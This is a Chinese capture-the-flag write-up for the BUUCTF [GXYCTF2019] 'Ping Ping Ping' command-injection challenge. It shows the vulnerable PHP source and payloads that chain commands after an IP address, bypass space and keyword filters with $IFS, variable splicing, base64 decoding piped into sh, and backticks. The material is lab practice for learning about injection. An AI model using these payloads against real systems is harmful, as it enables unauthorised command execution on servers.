BUUctf [GXYCTF2019]Ping Ping Ping

article/2025/7/27 22:54:36

 根据题目和页面的提示猜测是命令执行漏洞

;前面和后面命令都要执行,无论前面真假
|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

这里尝试想|

/?ip=127.0.0.1|ls

 发现成功执行下面有flag.php和index.php

尝试下直接cat查看一下flag.php

 发现也没返回fxck your space!

通过这个提示知道过滤了空格

 

 再次尝试发现没有过滤cat 但是过滤了flag

通过?ip=127.0.0.1|tac$IFS$1index.php查看一下index.php

 发现不全中间下载源文件

/?ip=
<pre>/?ip=
<?php
if(isset($_GET['ip'])){$ip = $_GET['ip'];if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);die("fxck your symbol!");} else if(preg_match("/ /", $ip)){die("fxck your space!");} else if(preg_match("/bash/", $ip)){die("fxck your bash!");} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");}$a = shell_exec("ping -c 4 ".$ip);echo "<pre>";print_r($a);
}
?>

绕过空格

IFS是指内部字段分隔符 $IFS是内部字段分隔符的缩写 简单而言就是空格

$IFS$1 //$1改成$加其他数字都行

创造变量绕过flag

使用;

;前面和后面命令都要执行,无论前面真假

通过;来构建一到两个变量 合并变量让他为flag

b=g

把flag中间的g换成变量$b 即fla$b

?ip=127.0.0.1;b=g;tac$IFS$1fla$b.php

 

 } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");

 通过代码可以找到会匹配flag而只有先定义g g之前的匹配可以通过

base64 加解码

正如我们可以将过滤掉的关键词进行base65编码来绕过正则,再使用linux命令将编码解读成我们要执行的命令。我们可以将cat flag.php进行base64编码,再用base -d命令解码。

 

 得到dGFjIGZsYWcucGhw

?ip=127.0.0.1|echo$IFS$1dGFjIGZsYWcucGhw|base64$IFS$1-d|sh

内联执行

在linux系统中,反引号是作为内联执行,输出查询结果的内容。比如用ls查询出index.php。那么`ls`就代表了index.php这个文件。那么我们就可以使用cat命令查看index.php的内容,而这一道题就可以使用tac$IFS$1`ls`  这个命令来输出flag了

 


http://chatgpt.dhexx.cn/article/Bs36gAqu.shtml

相关文章

BUUCTF——web([GXYCTF2019]Ping Ping Ping、[极客大挑战 2019]Knife、[极客大挑战 2019]Http)

BUUCTF-web [GXYCTF2019]Ping Ping Ping做题思路 [极客大挑战 2019]Knife做题思路 [极客大挑战 2019]Http做题思路 [GXYCTF2019]Ping Ping Ping 做题思路 打开看题目 熟悉的样子&#xff0c;ping本地加查看命令&#xff0c;得到两个php文件 接着查看一下文件内容 奇奇怪…

Buuctf (Web)Ping Ping Ping

文章目录 一.解题步骤二、命令分隔符三.常见绕过方式 一.解题步骤 &#xff08;1&#xff09;页面里显示/?ip,很明显要以ping的形式传一个参数给ip&#xff0c;并且我们要想执行其他命令&#xff0c;就要用命令分隔符也就是管道符连接&#xff0c;命令分隔符可以用";“”…

BUUCTF之Ping Ping Ping

目录 审题 常用的空格绕过方法 解决方法 法一 拼接绕过法 法二 内联执行法 法三 sh编码绕过法 审题 点开链接 根据题目提示随便试试构造payload inurl?ip666 有返回&#xff0c;参数ip的值就是要ping的内容 这里我们知道有Windows和Linux通用的…

BUUCTF【Web】Ping Ping Ping

进入靶场后是一个ping的功能&#xff08;命令执行漏洞&#xff09;&#xff0c;参数ip传递的内容会被当做ip地址进行网络连通性测试。首先测试一下本机地址 首先使用ls命令查看当前路径下有那些文件&#xff0c;拼接符有“&”、“|”、“||”、“&&”、“&#xff…

BUUCTF Web [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http

目录 [GXYCTF2019]Ping Ping Ping [极客大挑战 2019]LoveSQL [极客大挑战 2019]Knife [极客大挑战 2019]Http [GXYCTF2019]Ping Ping Ping 启动靶机&#xff0c;构造payload ?ip127.0.0.1 查看同目录下有什么文件 ?ip127.0.0.1;ls 读取flag.php ?ip127.0.0.1;cat flag…

buuctf[GXYCTF2019]Ping Ping Ping

buuctf[GXYCTF2019]Ping Ping Ping 这个题目的标题是pingping盲猜是关于命令执行的题目 打开环境后 只有一个/ip&#xff1f; 应该是提示用get的方式来传参一个地址执行ping的操作 直接ping127.0.0.1 回显ping127.0.0.1的数据 说明是一道命令执行的题目 执行&#xff1a;?i…

xxl-job源码阅读——(六)调度线程与时间轮算法

文章目录 一. 时间对齐二. scheduleThread 调度线程三. ringThread 时间轮&#xff08;算法&#xff09;线程原理源码实现 本章介绍init()最后一个步骤&#xff0c;初始化调度线程。 另外 第六步的JobLogReportHelper.getInstance().start()只是做了一个日志整理收集&#xff0…

时间轮(七)

时间轮 Kafka 中存在大量的延时操作&#xff0c;比如延时生产、延时拉取和延时删除等。Kafka 并没有使用 JDK 自带的 Timer 或 DelayQueue 来实现延时的功能&#xff0c;而是基于时间轮的概念自定义实现了一个用于延时功能的定时器&#xff08;SystemTimer&#xff09;。JDK 中…

java 时间轮算法_时间轮算法(TimingWheel)是如何实现的?

前言 我在2. SOFAJRaft源码分析—JRaft的定时任务调度器是怎么做的&#xff1f;这篇文章里已经讲解过时间轮算法在JRaft中是怎么应用的&#xff0c;但是我感觉我并没有讲解清楚这个东西&#xff0c;导致看了这篇文章依然和没看是一样的&#xff0c;所以我打算重新说透时间轮算法…

Redis之时间轮机制(五)

&#x1f680; 优质资源分享 &#x1f680; 学习路线指引&#xff08;点击解锁&#xff09;知识定位人群定位&#x1f9e1; Python实战微信订餐小程序 &#x1f9e1;进阶级本课程是python flask微信小程序的完美结合&#xff0c;从项目搭建到腾讯云部署上线&#xff0c;打造一…

C++定时器和时间轮

文章目录 定时器最小堆实现定时器 时间轮单层级时间轮多层级时间轮 定时器 有些时候我们需要延迟执行一些功能&#xff0c;比如每10s进行一次数据采集。或者告知用户技能冷却有多少时间&#xff0c;如果我们将执行这些功能的任务交给主线程&#xff0c;就会造成主线程的阻塞。…

简单描述时间轮

时间轮 作用 也是用来作定时器触发任务&#xff0c;只是他更高效&#xff0c;时间复杂度为O(1)。 运行原理 为了方便理解我们参考钟表&#xff0c;它分为3个层次&#xff1a;时、分、秒&#xff0c;只有秒针在运动&#xff0c;走动一格时间为1秒&#xff0c;走一圈为1分钟&…

再谈时间轮

时间轮很早前就很流行了&#xff0c;在很多优秀开源框架中都有用到&#xff0c;像kafka、netty。也算是现在工程师基本都了解的一个知识储备了。有幸在工作中造过两次轮子&#xff0c;所以今天聊聊时间轮。 时间轮是一种高性能定时器。 时间轮&#xff0c;顾名思义&#xff0c…

时间轮原理及其在框架中的应用

一、时间轮简介 1.1 为什么要使用时间轮 在平时开发中&#xff0c;经常会与定时任务打交道。下面举几个定时任务处理的例子。 1&#xff09;心跳检测。在Dubbo中&#xff0c;需要有心跳机制来维持Consumer与Provider的长连接&#xff0c;默认的心跳间隔是60s。当Provider在3…

时间轮分析

背景 在需要完成重试机制或者心跳机制一类的业务&#xff0c;除了使用excutors做定时任务。还可以使用时间轮完成这类需求 分析 使用dubbo中的心跳重试作为案例分析时间轮的使用 源码分析 在HeaderExchangeClient启动的时候调用startHeartBeatTask()开启心跳任务&#xff0…

Netty时间轮

概述 时间轮是一个高性能&#xff0c;低消耗的数据结构&#xff0c;它适合用非准实时&#xff0c;延迟的短平快任务&#xff0c;例如心跳检测。在netty和kafka中都有使用。 比如Netty动辄管理100w的连接&#xff0c;每一个连接都会有很多超时任务。比如发送超时、心跳检测间隔等…

高性能定时器时间轮的实现

时间轮的概念 关于定时器有很多种&#xff0c;有基于升序的定时器时间链表&#xff0c;但是这种链表存在效率的不足&#xff0c;就是当插入定时器的时候时间复杂度是O(n).今天&#xff0c;我们来认识一下高性能定时器时间轮。 如上图所示&#xff0c;就是一个时间轮的基本轮廓…

深度剖析 -- 时间轮算法(TimingWheel)是如何实现的?

前言 时间轮的应用场景很多&#xff0c;在 Netty、Akka、Quartz、ZooKeeper 、Kafka等组件中都存在时间轮的踪影。我们下面讲解的时间轮的实现以JRaft中的为例子进行讲解&#xff0c;因为JRaft这部分的代码是参考Netty的&#xff0c;所以大家也可以去Netty中去寻找源码实现。 …

Kafka原理--时间轮(延时操作)

原文网址&#xff1a;Kafka原理--时间轮(延时操作)_IT利刃出鞘的博客-CSDN博客 简介 说明 本文介绍Kafka的时间轮的原理。 Kafka没有延迟队列功能供用户使用&#xff0c;本文介绍的延时操作仅仅是Kafka内部的使用&#xff0c;用户无法使用。 Kafka延时操作 Kafka中存在大量的…

时间轮算法HashedWheelTimer

文章目录 一.HashedWheelTimer是什么?二.能干什么?为什么需要这个东西?优点适用场景 三.怎么用?使用步骤1.引入pom2.使用举例 四.时间轮原理五.使用注意点1.一个HashedWheelTimer对象只有一个worker线程2.每次添加的任务只会执行一次3.时间轮的参数非常重要4.所有的任务都是…